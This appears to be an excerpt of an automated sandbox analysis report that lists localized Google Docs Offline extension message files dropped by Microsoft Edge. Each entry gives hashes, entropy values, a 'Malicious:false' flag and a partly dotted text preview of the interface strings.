                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):937
                                                                                                                                                                          Entropy (8bit):4.686555713975264
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
                                                                                                                                                                          MD5:BED8332AB788098D276B448EC2B33351
                                                                                                                                                                          SHA1:6084124A2B32F386967DA980CBE79DD86742859E
                                                                                                                                                                          SHA-256:085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
                                                                                                                                                                          SHA-512:22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1337
                                                                                                                                                                          Entropy (8bit):4.69531415794894
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
                                                                                                                                                                          MD5:51D34FE303D0C90EE409A2397FCA437D
                                                                                                                                                                          SHA1:B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
                                                                                                                                                                          SHA-256:BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
                                                                                                                                                                          SHA-512:E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2846
                                                                                                                                                                          Entropy (8bit):3.7416822879702547
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
                                                                                                                                                                          MD5:B8A4FD612534A171A9A03C1984BB4BDD
                                                                                                                                                                          SHA1:F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
                                                                                                                                                                          SHA-256:54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
                                                                                                                                                                          SHA-512:C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):934
                                                                                                                                                                          Entropy (8bit):4.882122893545996
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
                                                                                                                                                                          MD5:8E55817BF7A87052F11FE554A61C52D5
                                                                                                                                                                          SHA1:9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
                                                                                                                                                                          SHA-256:903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
                                                                                                                                                                          SHA-512:EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):963
                                                                                                                                                                          Entropy (8bit):4.6041913416245
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
                                                                                                                                                                          MD5:BFAEFEFF32813DF91C56B71B79EC2AF4
                                                                                                                                                                          SHA1:F8EDA2B632610972B581724D6B2F9782AC37377B
                                                                                                                                                                          SHA-256:AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
                                                                                                                                                                          SHA-512:971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1320
                                                                                                                                                                          Entropy (8bit):4.569671329405572
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
                                                                                                                                                                          MD5:7F5F8933D2D078618496C67526A2B066
                                                                                                                                                                          SHA1:B7050E3EFA4D39548577CF47CB119FA0E246B7A4
                                                                                                                                                                          SHA-256:4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
                                                                                                                                                                          SHA-512:0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):884
                                                                                                                                                                          Entropy (8bit):4.627108704340797
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
                                                                                                                                                                          MD5:90D8FB448CE9C0B9BA3D07FB8DE6D7EE
                                                                                                                                                                          SHA1:D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
                                                                                                                                                                          SHA-256:64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
                                                                                                                                                                          SHA-512:6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):980
                                                                                                                                                                          Entropy (8bit):4.50673686618174
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
                                                                                                                                                                          MD5:D0579209686889E079D87C23817EDDD5
                                                                                                                                                                          SHA1:C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
                                                                                                                                                                          SHA-256:0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
                                                                                                                                                                          SHA-512:D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1941
                                                                                                                                                                          Entropy (8bit):4.132139619026436
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
                                                                                                                                                                          MD5:DCC0D1725AEAEAAF1690EF8053529601
                                                                                                                                                                          SHA1:BB9D31859469760AC93E84B70B57909DCC02EA65
                                                                                                                                                                          SHA-256:6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
                                                                                                                                                                          SHA-512:6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1969
                                                                                                                                                                          Entropy (8bit):4.327258153043599
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
                                                                                                                                                                          MD5:385E65EF723F1C4018EEE6E4E56BC03F
                                                                                                                                                                          SHA1:0CEA195638A403FD99BAEF88A360BD746C21DF42
                                                                                                                                                                          SHA-256:026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
                                                                                                                                                                          SHA-512:E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1674
                                                                                                                                                                          Entropy (8bit):4.343724179386811
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
                                                                                                                                                                          MD5:64077E3D186E585A8BEA86FF415AA19D
                                                                                                                                                                          SHA1:73A861AC810DABB4CE63AD052E6E1834F8CA0E65
                                                                                                                                                                          SHA-256:D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
                                                                                                                                                                          SHA-512:56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1063
                                                                                                                                                                          Entropy (8bit):4.853399816115876
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
                                                                                                                                                                          MD5:76B59AAACC7B469792694CF3855D3F4C
                                                                                                                                                                          SHA1:7C04A2C1C808FA57057A4CCEEE66855251A3C231
                                                                                                                                                                          SHA-256:B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
                                                                                                                                                                          SHA-512:2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1333
                                                                                                                                                                          Entropy (8bit):4.686760246306605
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
                                                                                                                                                                          MD5:970963C25C2CEF16BB6F60952E103105
                                                                                                                                                                          SHA1:BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
                                                                                                                                                                          SHA-256:9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
                                                                                                                                                                          SHA-512:1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1263
                                                                                                                                                                          Entropy (8bit):4.861856182762435
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
                                                                                                                                                                          MD5:8B4DF6A9281333341C939C244DDB7648
                                                                                                                                                                          SHA1:382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
                                                                                                                                                                          SHA-256:5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
                                                                                                                                                                          SHA-512:FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1074
                                                                                                                                                                          Entropy (8bit):5.062722522759407
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
                                                                                                                                                                          MD5:773A3B9E708D052D6CBAA6D55C8A5438
                                                                                                                                                                          SHA1:5617235844595D5C73961A2C0A4AC66D8EA5F90F
                                                                                                                                                                          SHA-256:597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
                                                                                                                                                                          SHA-512:E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):879
                                                                                                                                                                          Entropy (8bit):5.7905809868505544
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
                                                                                                                                                                          MD5:3E76788E17E62FB49FB5ED5F4E7A3DCE
                                                                                                                                                                          SHA1:6904FFA0D13D45496F126E58C886C35366EFCC11
                                                                                                                                                                          SHA-256:E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
                                                                                                                                                                          SHA-512:F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1205
                                                                                                                                                                          Entropy (8bit):4.50367724745418
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
                                                                                                                                                                          MD5:524E1B2A370D0E71342D05DDE3D3E774
                                                                                                                                                                          SHA1:60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
                                                                                                                                                                          SHA-256:30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
                                                                                                                                                                          SHA-512:D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
                                                                                                                                                                          Malicious:false
